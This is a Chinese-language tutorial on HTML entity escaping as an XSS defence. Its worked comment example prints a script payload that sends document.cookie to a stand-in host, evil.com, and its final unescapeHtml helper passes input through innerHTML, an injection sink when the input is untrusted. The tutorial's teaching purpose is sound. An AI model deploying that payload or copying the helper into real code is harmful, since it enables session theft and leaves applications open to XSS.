正在加载,请稍候…

HTML 实体:转义、反转义与 XSS 防护

了解 HTML 实体编码的工作原理、为何对安全至关重要,以及不当处理如何导致 XSS 漏洞。包含实用示例和最佳实践。

HTML 实体:转义、反转义与 XSS 防护

当你在网页上显示用户生成的内容时,你不能信任它。HTML 实体是防御**跨站脚本(XSS)**攻击的第一道防线。本文解释了什么是 HTML 实体,如何正确转义和反转义它们,以及为什么这对你的应用程序安全至关重要。

什么是 HTML 实体?

HTML 实体是表示 HTML 中保留或特殊字符的字符序列。例如,< 写作 &lt;> 写作 &gt;& 写作 &amp;" 写作 &quot;。当浏览器渲染 HTML 时,它会将实体显示为对应的字符,但绝不会将实体解释为代码。这可以防止注入的标记被执行。

HTML 实体:转义、反转义与 XSS 防护 插图

为什么要转义 HTML?

转义(或编码)HTML 会将特殊字符转换为其实体等价物。这在将不可信数据插入 HTML 上下文时至关重要,例如:

  • 元素内容内部(例如 <div>{userInput}</div>
  • 属性值内部(例如 <a href="{userInput}">
  • <script><style> 块内部(尽管适用不同的规则)

如果跳过转义,攻击者可以注入任意的 HTML 或 JavaScript。例如,一个包含 <script>alert('xss')</script> 的评论字段会在每个访问者的浏览器中执行。

XSS 的三种类型

理解 XSS 有助于你认识到转义为何至关重要:

  • 存储型 XSS:恶意代码保存在服务器上(例如数据库中),并分发给所有用户。这是最危险的一种。
  • 反射型 XSS:有效载荷位于 URL 或请求参数中,并立即反射回来,通常通过搜索结果或错误消息。
  • 基于 DOM 的 XSS:漏洞完全存在于客户端 JavaScript 中,不可信数据在没有服务器参与的情况下修改 DOM。

在所有情况下,正确的 HTML 实体转义可以防止浏览器将用户输入视为代码。

如何转义和反转义 HTML

手动转义

你可以使用查找表手动替换字符:

字符 实体
< &lt;
> &gt;
& &amp;
" &quot;
' &#x27;

使用 JavaScript 的 innerTextinnerHTML

设置 element.innerText = userInput 会自动转义 HTML。避免对不可信数据使用 innerHTML

HTML 实体:转义、反转义与 XSS 防护 插图

服务器端库

大多数框架提供内置的转义功能:PHP 中的 htmlspecialchars(),Python 的 html 模块中的 escape(),或 Razor 视图中的 @

专用工具

对于快速转换,请使用我们的 HTML 实体转义/反转义 工具。它支持双向转换,并涵盖所有命名实体。

工作示例:转义用户评论

假设你有一个评论系统。用户提交:

Great post! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

没有转义,渲染后的 HTML 变为:

<p>Great post! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script></p>

脚本执行。经过转义,输出为:

<p>Great post! &lt;script&gt;fetch('https://evil.com/steal?cookie='+document.cookie)&lt;/script&gt;</p>

浏览器安全地显示文本。

常见陷阱

  • 双重转义:如果你转义已经转义的数据,&amp; 会变成 &amp;amp;。仅在你信任来源时才反转义。
  • 错误的上下文:HTML 转义不能保护 <script> 标签或 CSS 内部。对这些上下文使用不同的编码(例如 JavaScript 字符串转义)。
  • 属性转义:始终为属性加引号,并转义 "'。未加引号的属性尤其危险。
  • 假设库的安全性:即使是流行的所见即所得编辑器也可能需要额外的 XSS 过滤。始终在服务器端对输出进行清理。
  • 忽略 Unicode:像 \uFF1C(全角小于号)这样的字符可以绕过简单的过滤器。使用适当的编码库。

安全影响:超越基本转义

仅靠转义不足以处理富内容。你需要一个基于白名单的清理器,允许安全的 HTML 标签和属性,同时剥离危险的标签和属性。像 DOMPurify(客户端)或 Bleach(Python)这样的库可以做到这一点。

考虑这个攻击向量:攻击者发布一条带有 onerror 属性的 <img> 标签的评论。即使 <> 被转义,如果你允许某些 HTML,onerror 处理程序仍可以执行 JavaScript。清理器会从白名单中移除 onerror

HTML 实体:转义、反转义与 XSS 防护 插图

比较:转义 vs 清理

方法 优点 缺点
转义 简单、快速,防止所有代码执行 破坏格式;不允许 HTML
清理 允许安全的 HTML;保留富内容 复杂;如果白名单不完整,存在绕过风险
两者结合 最佳安全性 需要仔细排序(先清理后转义)

常见问题

HTML 实体和 URL 编码有什么区别?

HTML 实体为 HTML 上下文编码字符(例如 <&lt;)。URL 编码(百分号编码)将字符转换为 URL 格式(例如 <%3C)。它们用途不同,不可互换。

应该在客户端还是服务器端转义?

始终在服务器端转义作为最终的安全网。客户端转义可以通过禁用 JavaScript 绕过。对存储在数据库中的数据使用服务器端转义。

可以使用 innerText 代替转义吗?

可以,innerText 会自动转义 HTML。但它仅适用于纯文本内容。对于富 HTML,请使用清理器。

什么是 &amp;,为什么会出现?

&amp;& 的实体。如果你在渲染的文本中看到 &amp;,这意味着 & 被双重转义了。例如,原始数据中有 &amp;,转义后变成了 &amp;amp;。在显示前先反转义一次。

如何在 JavaScript 中反转义 HTML 实体?

创建一个临时元素并读取其 textContent

function unescapeHtml(str) {
  const el = document.createElement('div');
  el.innerHTML = str;
  return el.textContent;
}

这适用于大多数命名和数字实体。